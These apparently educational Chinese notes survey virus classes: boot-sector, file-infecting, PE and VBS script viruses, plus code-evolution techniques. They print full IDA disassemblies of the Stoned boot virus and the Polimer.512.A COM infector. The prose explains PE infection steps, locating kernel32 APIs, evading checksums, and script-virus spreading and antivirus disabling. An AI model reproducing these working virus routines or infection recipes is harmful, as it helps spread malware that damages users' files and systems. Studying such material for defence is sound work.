0x01 引导型病毒
引导型病毒指针对主引导扇区和磁盘引导进行感染的计算机病毒,利用系统引导师部队驻引导区的内容正确与否进行判别的缺点,在系统引导的过程中侵入系统。
其思路是病毒代码通过修改或直接替换引导扇区代码的方式完成对目标系统感染,按照系统的引导过程,机器下次引导时会自动执行处于引导扇区中的病毒代码。
引导型病毒的特点是隐蔽性强、兼容性强、传播速度慢。
基于Windows的系统引导过程,引导型病毒进行了相应的攻击。
这里的实例是大麻病毒,百度词条里的解释为大麻病毒又叫新西兰病毒,因为最早在1988年初,在新西兰的惠灵顿市就有发现大麻病毒的报道。那时的大麻病毒只感染360KB的软盘,不感染硬盘。后来的大麻变种中,大部分都感染硬盘,有的还改动了显示信息,有的则把显示信息语句之前的条件判断修改成每次启动时,病毒都在屏幕上显示出下列字符串:YourPCisnowStoned!LEGALISEMARIJUANA!而不是原始设计的当系统时钟计数器记到8的倍数时才显示上述信息。
对病毒实例进行反汇编:
seg000:0100 ;
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:0100 ; | Copyright (c) 2017 Hex-Rays, <support@hex-rays.com> |
seg000:0100 ; | License info: 48-3FBD-7F04-2C |
seg000:0100 ; | Jiang Ying, Personal license |
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ;
seg000:0100 ; Input SHA256 : 1D6AB36ACE0D17630F4DB0054FD190BFEEED43B0E18DD1BC52211C6F21126C4A
seg000:0100 ; Input MD5 : 658FDF04A83FC4034767E764CF3D12BB
seg000:0100 ; Input CRC32 : A468A972
seg000:0100
seg000:0100 ; File Name : C:\Users\zhanglipeng\Desktop\STONE.COM
seg000:0100 ; Format : MS-DOS COM-file
seg000:0100 ; Base Address: 1000h Range: 10100h-102E1h Loaded length: 1E1h
seg000:0100
seg000:0100 .686p
seg000:0100 .mmx
seg000:0100 .model tiny
seg000:0100
seg000:0100 ; ===========================================================================
seg000:0100
seg000:0100 ; Segment type: Pure code
seg000:0100 seg000 segment byte public 'CODE' use16
seg000:0100 assume cs:seg000
seg000:0100 org 100h
seg000:0100 assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
seg000:0100
seg000:0100 ; =============== S U B R O U T I N E =======================================
seg000:0100
seg000:0100 ; Attributes: noreturn
seg000:0100
seg000:0100 public start
seg000:0100 start proc near
seg000:0100 jmp far ptr 7C0h:5
seg000:0100 start endp
seg000:0100
seg000:0105 ; ---------------------------------------------------------------------------
seg000:0105 jmp loc_101C1
seg000:0105 ; ---------------------------------------------------------------------------
seg000:0108 db 6 dup(0), 4, 1, 3 dup(0), 7Ch, 2 dup(0), 1Eh, 50h, 80h
seg000:0108 db 0FCh, 2, 72h, 18h, 80h, 0FCh, 4, 73h, 13h, 80h, 0FAh
seg000:0108 db 0, 75h, 0Eh, 33h, 0C0h, 8Eh, 0D8h, 0A0h, 40h, 4, 0Ah
seg000:0108 db 0C0h, 75h, 3, 0E8h, 7, 0, 58h, 1Fh, 2Eh, 0FFh, 2Eh
seg000:0108 db 0Ah, 0, 53h, 51h, 52h, 6, 56h, 57h, 0BEh, 4, 0, 0B8h
seg000:0108 db 1, 2, 0Eh, 7, 0BBh, 0, 2, 0B9h, 1, 0, 33h, 0D2h, 9Ch
seg000:0108 db 2Eh, 0FFh, 1Eh, 0Ah, 0, 73h, 0Eh, 33h, 0C0h, 9Ch, 2Eh
seg000:0108 db 0FFh, 1Eh, 0Ah, 0, 4Eh, 75h, 0E0h, 0EBh, 3Eh, 90h, 33h
seg000:0108 db 0F6h, 0BFh, 0, 2, 26h, 8Bh, 4, 26h, 3Bh, 5, 75h, 0Dh
seg000:0108 db 26h, 8Bh, 44h, 2, 26h, 3Bh, 45h, 2, 75h, 3, 0EBh, 24h
seg000:0108 db 90h, 0B8h, 1, 3, 0BBh, 0, 2, 0B9h, 3, 0, 0BAh, 0, 1
seg000:0108 db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0, 72h, 0Fh, 0B8h, 1, 3, 33h
seg000:0108 db 0DBh, 0B1h, 1, 33h, 0D2h, 9Ch, 2Eh, 0FFh, 1Eh, 0Ah
seg000:0108 db 0, 5Fh, 5Eh, 7, 5Ah, 59h, 5Bh, 0C3h, 2Eh, 8Ah, 7, 43h
seg000:0108 db 3Ch, 0, 75h, 1, 0C3h, 50h, 53h, 0B4h, 0Eh, 0B7h, 0
seg000:0108 db 0CDh, 10h, 5Bh, 58h, 2 dup(0EBh)
seg000:01C1 ; ---------------------------------------------------------------------------
seg000:01C1
seg000:01C1 loc_101C1: ; CODE XREF: seg000:0105↑j
seg000:01C1 xor ax, ax
seg000:01C3 mov ds, ax
seg000:01C5 assume ds:nothing
seg000:01C5 cli
seg000:01C6 mov ss, ax
seg000:01C8 assume ss:nothing
seg000:01C8 mov sp, 7C00h
seg000:01CB sti
seg000:01CC mov ax, ds:4Ch
seg000:01CF mov ds:7C0Ah, ax
seg000:01D2 mov ax, ds:4Eh
seg000:01D5 mov ds:7C0Ch, ax
seg000:01D8 mov ax, ds:413h
seg000:01DB dec ax
seg000:01DC dec ax
seg000:01DD mov ds:413h, ax
seg000:01E0 mov cl, 6
seg000:01E2 shl ax, cl
seg000:01E4 mov es, ax
seg000:01E6 mov ds:7C10h, ax
seg000:01E9 mov ax, 16h
seg000:01EC mov ds:4Ch, ax
seg000:01EF mov word ptr ds:4Eh, es
seg000:01F3 mov cx, 1E0h
seg000:01F6 push cs
seg000:01F7 pop ds
seg000:01F8 assume ds:seg000
seg000:01F8 xor si, si
seg000:01FA mov di, si
seg000:01FC cld
seg000:01FD rep movsb
seg000:01FF jmp dword ptr cs:0Eh
seg000:01FF ; ---------------------------------------------------------------------------
seg000:0204 db 0B8h, 2 dup(0), 0CDh, 13h, 33h, 0C0h, 8Eh, 0C0h, 0B8h
seg000:0204 db 1, 2, 0BBh, 0, 7Ch, 2Eh, 80h, 3Eh, 8, 2 dup(0), 74h
seg000:0204 db 0Bh, 0B9h, 2, 0, 0BAh, 80h, 0, 0CDh, 13h, 0EBh, 41h
seg000:0204 db 90h, 0B9h, 3, 0, 0BAh, 0, 1, 0CDh, 13h, 72h, 36h, 26h
seg000:0204 db 0F6h, 6, 6Ch, 4, 7, 75h, 6, 0BBh, 0B2h, 1, 0E8h, 6Eh
seg000:0204 db 0FFh, 0Eh, 7, 0B8h, 1, 2, 0BBh, 0, 2, 0B9h, 1, 0, 0BAh
seg000:0204 db 80h, 0, 0CDh, 13h, 72h, 16h, 0Eh, 1Fh, 0BEh, 0, 2, 0BFh
seg000:0204 db 2 dup(0), 8Bh, 4, 3Bh, 5, 75h, 19h, 8Bh, 44h, 2, 3Bh
seg000:0204 db 45h, 2, 75h, 11h, 2Eh, 0C6h, 6, 8, 2 dup(0), 2Eh, 0C6h
seg000:0204 db 6, 9, 2 dup(0), 2Eh, 0FFh, 2Eh, 12h, 0, 2Eh, 0C6h, 6
seg000:0204 db 8, 0, 2, 2Eh, 0C6h, 6, 9, 2 dup(0), 0B8h, 1, 3, 0BBh
seg000:0204 db 0, 2, 0B9h, 2, 0, 0BAh, 80h, 0, 0CDh, 13h, 72h, 0D3h
seg000:0204 db 0Eh, 1Fh, 0Eh, 7, 0BEh, 0E0h, 3, 0BFh, 0E0h, 1, 0B9h
seg000:0204 db 0E0h, 0FDh, 0F3h, 0A4h, 0B8h, 1, 3, 0BBh, 2 dup(0)
seg000:0204 db 0B9h, 1, 0, 0BAh, 80h, 0, 0CDh, 13h, 0EBh, 0B4h
seg000:02B2 db 7
seg000:02B3 db 59h ; Y
seg000:02B4 db 6Fh ; o
seg000:02B5 db 75h ; u
seg000:02B6 db 72h ; r
seg000:02B7 db 20h
seg000:02B8 db 50h ; P
seg000:02B9 db 43h ; C
seg000:02BA db 20h
seg000:02BB db 69h ; i
seg000:02BC db 73h ; s
seg000:02BD db 20h, 6Eh, 6Fh, 77h, 20h, 53h, 74h, 6Fh, 6Eh, 65h, 64h
seg000:02BD db 21h, 7, 0Dh, 2 dup(0Ah), 0, 4Ch, 45h, 47h, 41h, 4Ch
seg000:02BD db 49h, 53h, 45h, 20h, 4Dh, 41h, 52h, 49h, 4Ah, 55h, 41h
seg000:02BD db 4Eh, 41h, 21h
seg000:02BD seg000 ends
seg000:02BD
seg000:02BD
seg000:02BD end start
引导型病毒指感染硬盘主引导扇区或硬、软盘的DOS引导扇区的病毒,其基本功能实现原理:
1.减少DOS可用最大内存量,以供病毒代码使用:
xor ax, ax
mov ds, ax
assume ds:nothing
cli
mov ss, ax
assume ss:nothing
mov sp, 7C00h
sti
mov ax, ds:4Ch
mov ds:7C0Ah, ax
mov ax, ds:4Eh
mov ds:7C0Ch, ax
mov ax, ds:413h;此处存放最大的内存0000:0413
dec ax
dec ax ;为病毒申请4KB的内存空间
mov ds:413h, ax
2.修改必要的中断向量,以便进行传播 。这部分代码上方的IDA没有给分析出来;
3.杜如病毒的其他部分,在内存高端进行病毒的拼装,从某些特殊簇的某扇区读入病毒的其他部分,将原引导记录读到0000:7C00,跳转执行;
4.读入原主引导分区,转去执行DOS的引导工作。
0x02 文件型病毒
文件型病毒必须借助宿主文件存储自身代码,脱离宿主无法进入内存执行。文件型病毒不能直接使用覆盖感染方法。文件型病毒在文件中的位置多种多样,设计文件型病毒时,必须考虑将来病毒如何获取系统控制权,因为这取决于病毒代码是否处于宿主代码的执行路线上。
覆盖病毒通过覆盖宿主进程进行感染,感染后宿主文件代码遭到破坏,如Trivial.22。选择文件头部分覆盖感染是一个不错的选择,但也会迎来重点对文件头部分的审查。
追加病毒是将病毒代码追加到宿主代码的尾部,并在宿主的头部插入跳转指令,从而获得控制权。而粗暴插入会导致宿主代码重定位等一系列让人头疼的问题,更简单的方法是如果宿主首部恰好是一条JMP指令,可直接对其修改,病毒执行完后,在对JMP指令修复;或者将文件的头的指令修改为JMP指令,代码执行完后再进行还原就可以了。
前置病毒将病毒代码插入到宿主程序的前端,如Polimer.512.A
seg0000100 ;
seg0000100 ; +-------------------------------------------------------------------------+
seg0000100 ; This file has been generated by The Interactive Disassembler (IDA)
seg0000100 ; Copyright (c) 2017 Hex-Rays, support@hex-rays.com
seg0000100 ; License info 48-3FBD-7F04-2C
seg0000100 ; Jiang Ying, Personal license
seg0000100 ; +-------------------------------------------------------------------------+
seg0000100 ;
seg0000100 ; Input SHA256 E7B23697FA325A5C5D03EC1D8B3EEC380ABC809BB7FECE88F444872BFEEB2A38
seg0000100 ; Input MD5 118FF3874AEA9407F19B8C9CEF908B1E
seg0000100 ; Input CRC32 982014E7
seg0000100
seg0000100 ; File Name CUserszhanglipengDesktopPOLIMER.COM
seg0000100 ; Format MS-DOS COM-file
seg0000100 ; Base Address 1000h Range 10100h-10300h Loaded length 200h
seg0000100
seg0000100 .686p
seg0000100 .mmx
seg0000100 .model tiny
seg0000100
seg0000100 ; ===========================================================================
seg0000100
seg0000100 ; Segment type Pure code
seg0000100 seg000 segment byte public 'CODE' use16
seg0000100 assume csseg000
seg0000100 org 100h
seg0000100 assume esnothing, ssnothing, dsseg000, fsnothing, gsnothing
seg0000100 ; [00000003 BYTES COLLAPSED FUNCTION start. PRESS CTRL-NUMPAD+ TO EXPAND]
seg0000103 align 2
seg0000104 aCom db 'COM',0
seg0000110 db 1Ah, 3 dup(0), 2Eh, 0F2h, 0Ch, 2Bh, 1, 0Fh dup(0), 41h
seg0000110 db 20h, 6Ch, 65h, 27h, 6Ah, 6Fh, 2 dup(62h), 20h, 6Bh
seg0000110 db 61h, 7Ah, 65h, 2 dup(74h), 61h, 20h, 61h, 20h, 50h
seg0000110 db 4Fh, 4Ch, 49h, 4Dh, 45h, 52h, 20h, 6Bh, 61h, 7Ah, 65h
seg0000110 db 2 dup(74h), 61h, 20h, 21h, 3 dup(20h), 56h, 65h, 67h
seg0000110 db 79h, 65h, 20h, 65h, 7Ah, 74h, 20h, 21h, 4 dup(20h)
seg0000110 db 0Ah, 0Dh, 24h, 45h, 2 dup(52h), 4Fh, 52h, 0Ah, 0Dh
seg0000110 db 24h
seg000016A word_1016A dw 5 ; DATA XREF start_0+3E↓w
seg000016A ; start_0+41↓r ...
seg000016C word_1016C dw 18D8h ; DATA XREF start_0+53↓w
seg000016C ; start_0+90↓r ...
seg000016E ; ---------------------------------------------------------------------------
seg000016E ; START OF FUNCTION CHUNK FOR start_0
seg000016E
seg000016E loc_1016E ; CODE XREF start_0+133↓j
seg000016E mov si, 2B9h
seg0000171 mov di, 0C0h
seg0000174 mov cx, 30h
seg0000177 cld
seg0000178 rep movsb
seg000017A jmp near ptr 0C0h
seg000017D ; ---------------------------------------------------------------------------
seg000017D
seg000017D loc_1017D ; CODE XREF start_0+1D↓j
seg000017D jmp loc_10296
seg0000180 ; ---------------------------------------------------------------------------
seg0000180
seg0000180 loc_10180 ; CODE XREF start_0+3C↓j
seg0000180 ; start_0+51↓j ...
seg0000180 jmp loc_1028F
seg0000180 ; END OF FUNCTION CHUNK FOR start_0
seg0000183
seg0000183 ; =============== S U B R O U T I N E =======================================
seg0000183
seg0000183
seg0000183 start_0 proc near ; CODE XREF start↑j
seg0000183
seg0000183 ; FUNCTION CHUNK AT seg000016E SIZE 00000015 BYTES
seg0000183
seg0000183 mov al, 0
seg0000185 mov ah, 0Eh
seg0000187 int 21h ; DOS - SELECT DISK
seg0000187 ; DL = new default drive number (0 = A, 1 = B, etc.)
seg0000187 ; Return AL = number of logical drives
seg0000189 mov dx, 0C0h
seg000018C mov ah, 1Ah
seg000018E int 21h ; DOS - SET DISK TRANSFER AREA ADDRESS
seg000018E ; DSDX - disk transfer buffer
seg0000190 mov dx, 128h
seg0000193 mov ah, 9
seg0000195 int 21h ; DOS - PRINT STRING
seg0000195 ; DSDX - string terminated by $
seg0000197
seg0000197 loc_10197 ; CODE XREF start_0+129↓j
seg0000197 mov dx, 103h
seg000019A mov ah, 11h
seg000019C int 21h ; DOS - SEARCH FIRST USING FCB
seg000019C ; DSDX - FCB
seg000019E test al, al
seg00001A0 jnz short loc_1017D
seg00001A2
seg00001A2 loc_101A2 ; CODE XREF start_0+F8↓j
seg00001A2 mov word ptr ds0CCh, 2424h
seg00001A8 mov ax, ds0CAh
seg00001AB mov ds0CBh, ax
seg00001AE mov ax, ds0C8h
seg00001B1 mov al, 2Eh
seg00001B3 mov ds0C9h, ax
seg00001B6 mov al, 2
seg00001B8 mov dx, 0C1h
seg00001BB mov ah, 3Dh
seg00001BD int 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLE
seg00001BD ; DSDX - ASCIZ filename
seg00001BD ; AL = access mode
seg00001BD ; 2 - read & write
seg00001BF jb short loc_10180
seg00001C1 mov word_1016A, ax
seg00001C4 mov bx, word_1016A
seg00001C8 mov cx, 0
seg00001CB mov dx, 0
seg00001CE mov al, 2
seg00001D0 mov ah, 42h
seg00001D2 int 21h ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg00001D2 ; AL = method offset from end of file
seg00001D4 jb short loc_10180
seg00001D6 mov word_1016C, ax
seg00001D9 mov bx, word_1016A
seg00001DD mov cx, 0
seg00001E0 mov dx, 0
seg00001E3 mov al, 0
seg00001E5 mov ah, 42h
seg00001E7 int 21h ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg00001E7 ; AL = method offset from beginning of file
seg00001E9 jb short loc_10180
seg00001EB mov bx, word_1016A
seg00001EF mov cx, 200h
seg00001F2 mov dx, 0
seg00001F5 mov ax, ds
seg00001F7 add ax, 1000h
seg00001FA mov ds, ax
seg00001FC assume dsnothing
seg00001FC mov ah, 3Fh
seg00001FE int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg00001FE ; BX = file handle, CX = number of bytes to read
seg00001FE ; DSDX - buffer
seg0000200 mov cx, 80h
seg0000203 cld
seg0000204 mov si, 100h
seg0000207 mov di, 200h
seg000020A repe cmpsb
seg000020C jz short loc_1027E
seg000020E mov bx, csword_1016A
seg0000213 mov cx, csword_1016C
seg0000218 sub cx, 200h
seg000021C mov dx, 200h
seg000021F mov ah, 3Fh
seg0000221 int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg0000221 ; BX = file handle, CX = number of bytes to read
seg0000221 ; DSDX - buffer
seg0000223 mov ax, ds
seg0000225 sub ax, 1000h
seg0000228 mov ds, ax
seg000022A assume dsseg000
seg000022A mov bx, word_1016A
seg000022E mov cx, 0
seg0000231 mov dx, 0
seg0000234 mov al, 0
seg0000236 mov ah, 42h
seg0000238 int 21h ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg0000238 ; AL = method offset from beginning of file
seg000023A mov bx, word_1016A
seg000023E mov dx, 100h
seg0000241 mov cx, 200h
seg0000244 mov ah, 40h
seg0000246 int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg0000246 ; BX = file handle, CX = number of bytes to write, DSDX - buffer
seg0000248 mov bx, word_1016A
seg000024C mov dx, 0
seg000024F mov cx, word_1016C
seg0000253 mov ax, ds
seg0000255 add ax, 1000h
seg0000258 mov ds, ax
seg000025A assume dsnothing
seg000025A mov ah, 40h
seg000025C int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000025C ; BX = file handle, CX = number of bytes to write, DSDX - buffer
seg000025E mov ax, ds
seg0000260 sub ax, 1000h
seg0000263 mov ds, ax
seg0000265 assume dsseg000
seg0000265 mov bx, word_1016A
seg0000269 mov ah, 3Eh
seg000026B int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000026B ; BX = file handle
seg000026D jmp short loc_10296
seg000026D ; ---------------------------------------------------------------------------
seg000026F align 2
seg0000270
seg0000270 loc_10270 ; CODE XREF start_0+10A↓j
seg0000270 mov dx, 103h
seg0000273 mov ah, 12h
seg0000275 int 21h ; DOS - SEARCH NEXT USING FCB
seg0000275 ; DSDX - FCB
seg0000275 ; Return AL = status
seg0000277 test al, al
seg0000279 jnz short loc_10296
seg000027B jmp loc_101A2
seg000027E ; ---------------------------------------------------------------------------
seg000027E
seg000027E loc_1027E ; CODE XREF start_0+89↑j
seg000027E mov ax, ds
seg0000280 sub ax, 1000h
seg0000283 mov ds, ax
seg0000285 assume dsnothing
seg0000285 mov bx, ds16Ah
seg0000289 mov ah, 3Eh
seg000028B int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000028B ; BX = file handle
seg000028D jmp short loc_10270
seg000028F ; ---------------------------------------------------------------------------
seg000028F
seg000028F loc_1028F ; CODE XREF start_0loc_10180↑j
seg000028F mov dx, 162h
seg0000292 mov ah, 9
seg0000294 int 21h ; DOS - PRINT STRING
seg0000294 ; DSDX - string terminated by $
seg0000296
seg0000296 loc_10296 ; CODE XREF start_0loc_1017D↑j
seg0000296 ; start_0+EA↑j ...
seg0000296 mov ah, 19h
seg0000298 int 21h ; DOS - GET DEFAULT DISK NUMBER
seg000029A test al, al
seg000029C jnz short loc_102AF
seg000029E mov dl, 2
seg00002A0 mov ah, 0Eh
seg00002A2 int 21h ; DOS - SELECT DISK
seg00002A2 ; DL = new default drive number (0 = A, 1 = B, etc.)
seg00002A2 ; Return AL = number of logical drives
seg00002A4 mov ah, 19h
seg00002A6 int 21h ; DOS - GET DEFAULT DISK NUMBER
seg00002A8 test al, al
seg00002AA jz short loc_102AF
seg00002AC jmp loc_10197
seg00002AF ; ---------------------------------------------------------------------------
seg00002AF
seg00002AF loc_102AF ; CODE XREF start_0+119↑j
seg00002AF ; start_0+127↑j
seg00002AF mov dx, 80h
seg00002B2 mov ah, 1Ah
seg00002B4 int 21h ; DOS - SET DISK TRANSFER AREA ADDRESS
seg00002B4 ; DSDX - disk transfer buffer
seg00002B6 jmp loc_1016E
seg00002B6 start_0 endp
seg00002B6
seg00002B6 ; ---------------------------------------------------------------------------
seg00002B9 db 0BEh, 0, 3, 0BFh, 0, 1, 0B9h, 0, 0FDh, 0FCh, 0F3h, 0A4h
seg00002B9 db 0EBh, 32h, 90h, 38h dup(0)
seg00002B9 seg000 ends
seg00002B9
seg00002B9
seg00002B9 end start
寄生病毒将其代码覆盖到宿主的顶端,并且将原宿主程序顶端保存在宿主的末端,如Virdem病毒。
空洞病毒将病毒代码写入宿主文件的空洞,空洞就是文件内的数据按某一边界文件出现的现象。为避免找不到足够大的空洞,使用碎洞技术将病毒代码分片插入到宿主的多个空洞中,病毒装载是首先加载其Loader程序,然后使用便宜量表查找病毒的其他代码片段,将其读入内存的连续区域进行重组。
压缩病毒感染目标后,压缩宿主程序,以便隐藏感染病毒后文件长度的变化,W32/Aldebera可以使感染后文件长度维持不变。
入口点混淆病毒感染宿主是选择宿主代码的合适位置,是病毒随机的获得控制权。能够躲避快速扫描技术的检查,为提高获取入口点的可能性,需要使用静态搜索跳转指令、动态跟踪某些特定机器码、Win32 API挂接技术、Win32倒入裱修改技术和Win32 函数挂接。
代码构造器通过遍历目标程序,找出自己所需要的代码片段或指令,在内存中重新构造新的代码片段,执行特定功能,但目前仅仅是一假想。
针对PE文件的感染,除了前述的各种感染方式外,与其相关的特殊感染方式有PE头部感染、追加新节、将病毒作为独立的PE文件追加到宿主末尾。
病毒感染文件时最重要的一步就是将病毒代码写入目标中。对 PE文件的读写一般利用Win32 API以内存映射文件的方式进行,这样可以避免管理内存缓冲区的麻烦。为了能读写具有只读属性的文件,需要在操作文件前利用GetFileAttribute获取其属性并保存,然后利用SetFileAttributes将文件的属性设置为可写,感染完毕后恢复属性值。PE文件通常被写到的位置有:
- 在PE尾部写入一个新节;
- 追加在最后一个节上;
- 写入到PE文件头部的未用空间或各个节所保留的空洞之中;
- 覆盖不常用的数据;
- 压缩某些数据或代码以节约出存放病毒代码的空间。
因此,必须精通对PE文件的修改操作。
在验证文件格式时,主要通过验证PE头部的标志字段来实现:MZ标志、PE标志和Characteristics字段。前两个标志就是验证相应字段是不是“MZ”和“PE”,当然啦需要注意低位和高位之间的关系,第三个字段就是看是EXE还是DLL。
PE病毒代码要想在Windows上运行,离不开对Win32 API的调用,一般情况下有两种方式:
- 在编译链接时使用导入库;
- 使用LoadLibrary()动态装入某个DLL,并使用GetProcAddress()从被装入模版中获取API函数的地址。
根据病毒的特殊性,间接使用第二种方式。ExitThread()函数的返回地址可以在程序入口处用ESP读出,这是Kernel32.dll模块的有效地址,LoadLibrary()和GetProcAddress()也在此模块中。Windows在加载PE文件时,除了一些可丢弃的节外,其他的内容都会被装入内存,包括PE头、导出表等结构。另外PE文件被装入内存后是按照内存页对齐的,只要从ret指令的返回地址按页对其边界向低地址搜寻,找到Kernel32.dll文件的文件头地址也就是其模块基址,然后查找导出表就可以找到LoadLibrary()和GetProcAddress()的地址。
代码的自定位。
PE可选头部的Checksum是PE文件的校验和,操作系统通过该字段检验核心系统文件是否篡改过。因此病毒进行修改之后,务必需要重新计算校验和。
0x03 脚本病毒
脚本语言包括以下几种类型:
- 基于Java Script的脚本病毒,主要运行在浏览器环境中,可以对浏览器的设置进行修改,主要是对注册表的修改;
- 基于VB Script的脚本病毒,可以在浏览器环境中运行,更重要的是这种病毒和普通的宏病毒没有清晰的界限,可以在Office环境中运行,并执行常见的计算机操作;
- 基于PHP的脚本病毒,主要是对服务器造成影响;
- 脚本语言和木马程序结合的病毒,处理使用脚本代码进行扩散以外,还会主动安装木马程序。
VBS病毒的特点:
- 编写简单;
- 破坏力大;
- 感染力强;
- 传播范围大;
- 病毒源码容易被获取,代码可读性强;
- 欺骗性强;
- 病毒生产机实现容易。
VBS脚本病毒一般是通过直接的自我复制来感染文件,并在目标文件顶部加入一条调用病毒代码的语句。
病毒的传播方式:
- 通过Email附件进行传播;
- 通过局域网共享进行传播;
- 通过网页文件进行传播;
- 通过IRC聊天通道传播。
病毒必须得到执行权,然后才可以进行传播或者发作,常见的自启动的方法:
- 使用注册表;
- 欺骗用户;
- Desktop.ini和Folder.htt配合。
VBS病毒的自保技巧:
- 自加密;
- 运用Execute函数;
- 改变对象的生命方法;
- 关闭反病毒软件。
0x04代码进化技术
加密病毒
寡态病毒
多态病毒
变形病毒
病毒生产机